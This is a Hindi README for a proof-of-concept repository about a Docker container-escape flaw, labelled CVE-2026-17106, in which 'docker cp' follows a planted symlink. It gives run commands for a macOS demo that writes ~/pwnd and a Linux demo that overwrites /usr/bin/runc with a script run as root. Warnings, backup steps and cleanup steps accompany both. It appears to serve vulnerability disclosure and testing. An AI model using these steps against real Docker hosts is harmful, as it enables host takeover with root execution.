
ब्लॉग पोस्ट CopyEscape: docker cp के साथ Docker होस्ट्स पर कब्ज़ा करना के लिए PoC रिपॉजिटरी
docker cp के साथ Docker होस्ट्स पर कब्ज़ा (CVE-2026-17106)यह ब्लॉग पोस्ट CopyEscape: docker cp के साथ Docker होस्ट्स पर कब्ज़ा — CVE-2026-17106 के लिए proof-of-concept रिपॉज़िटरी है।
CopyEscape एक दुर्भावनापूर्ण चालू कंटेनर को Docker के आर्काइव प्रोड्यूसर को रेस करने और एक असंगत tar स्ट्रीम बनाने की अनुमति देता है। इसके बाद कमज़ोर Docker CLI निष्कर्षण के दौरान लगाए गए symlink का अनुसरण कर सकता है और docker cp चलाने वाले उपयोगकर्ता द्वारा चुने गए स्थानीय गंतव्य के बाहर लिख सकता है।
रिपॉज़िटरी में दो प्रदर्शन शामिल हैं:
macos/ में एक गैर-विनाशकारी Docker Desktop प्रदर्शन शामिल है जो macOS होस्ट पर ~/pwnd बनाता है।linux/ में मूल उच्च-प्रभाव वाला Linux प्रदर्शन शामिल है जो /usr/bin/runc को अधिलेखित करता है और प्रतिस्थापित रनटाइम निष्पादित होने पर /imperva_red_team बनाता है।[!WARNING] इन PoCs को केवल उन्हीं सिस्टम पर चलाएँ जिनके आप मालिक हैं या जिन्हें परीक्षण करने के लिए स्पष्ट रूप से अधिकृत किया गया है। Linux PoC जानबूझकर
/usr/bin/runcको प्रतिस्थापित करता है; इसे ट्रिगर करने से पहले एक डिस्पोज़ेबल VM का उपयोग करें और सत्यापित बैकअप बनाएँ।
/usr/bin/runc प्रदर्शन के लिए रूट विशेषाधिकार।PoCs को Docker Engine/CLI 29.6.1 और Docker Desktop 4.81.0 के विरुद्ध विकसित और परीक्षण किया गया था। सही किए गए (फिक्स्ड) संस्करण दुर्भावनापूर्ण आर्काइव को अस्वीकार कर देंगे या चयनित गंतव्य के बाहर लिखे बिना कॉपी पूरी कर देंगे।
~/pwnd बनाएँयह प्रदर्शन Docker CLI चलाने वाले उपयोगकर्ता की होम डायरेक्टरी को लक्षित करता है। यदि ~/pwnd या स्थानीय file.txt गंतव्य पहले से मौजूद है तो यह आगे बढ़ने से इनकार कर देता है।
चलाएँ:
cd macos
./demo-macos.sh
रनर इमेज बनाता है, तैयार कंटेनर शुरू करता है, पुष्टि करता है कि /watched/file.txt उसके अंदर एक सामान्य फ़ाइल प्रतीत होता है, और यह ट्रिगर करता है:
docker cp <demo-container>:/watched/file.txt ./file.txt
एक कमज़ोर Docker Desktop संस्करण पर, कॉपी यह बनाती है:
~/pwnd
निम्नलिखित सामग्री के साथ:
COPYESCAPE_MACOS_DEMO
सफ़ाई:
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local
/usr/bin/runc को अधिलेखित करें[!CAUTION] यह प्रदर्शन अस्थायी रूप से Docker होस्ट के रनटाइम को अनुपयोगी बना देता है और रूट के रूप में हमलावर-नियंत्रित प्रतिस्थापन निष्पादित करता है। एक डिस्पोज़ेबल VM का उपयोग करें।
docker cpलौटने के बाद, कोई अन्य Docker कमांड चलाने से पहलेruncको पुनर्स्थापित करें।
एक रूट शेल खोलें और Linux PoC डायरेक्टरी में प्रवेश करें:
sudo -s
cd linux
परीक्षण शुरू करने से पहले एक बैकअप बनाएँ और सत्यापित करें:
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup
इमेज बनाएँ:
docker build -t copyescape-linux .
पहले टर्मिनल में तैयार कंटेनर शुरू करें:
docker run --name copyescape-linux copyescape-linux
दूसरे रूट टर्मिनल में, पुष्टि करें कि तैयार पथ कंटेनर के अंदर एक प्रक्रिया के लिए एक नियमित फ़ाइल जैसा दिखता है:
docker exec copyescape-linux cat /watched/file.txt
अपेक्षित आउटपुट:
top-level file
कमज़ोरी को ट्रिगर करें:
docker cp copyescape-linux:/watched/file.txt ./file.txt
एक कमज़ोर Docker संस्करण पर, /usr/bin/runc में अब PoC शेल स्क्रिप्ट होती है। प्रतिस्थापित रनटाइम का निष्पादन रूट-स्वामित्व वाला मार्कर बनाता है:
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team
कोई अन्य Docker कमांड जारी करने से पहले, तुरंत मूल रनटाइम को पुनर्स्थापित करें:
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version
runc को पुनर्स्थापित और सत्यापित करने के बाद, शेष परीक्षण आर्टिफैक्ट्स हटाएँ:
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team
दोनों PoCs /watched/file.txt को कंटेनर में चल रही प्रक्रियाओं के लिए एक सामान्य फ़ाइल के रूप में प्रस्तुत करते हैं, जबकि Docker डेमन एक अंतर्निहित डायरेक्टरी देखता है। Docker के फाइलसिस्टम वॉक के दौरान, मॉनिटर एक डायरेक्टरी को स्टेज किए गए पूर्ण symlink से प्रतिस्थापित करता है। परिणामी tar स्ट्रीम में symlink और उसके नीचे एक चाइल्ड एंट्री होती है। एक कमज़ोर Docker CLI symlink बनाता है और फिर चाइल्ड को उसके माध्यम से क्लाइंट फाइलसिस्टम पर निकालता है।
अंतिम लेखन docker cp चलाने वाली प्रक्रिया की अनुमतियाँ रखता है।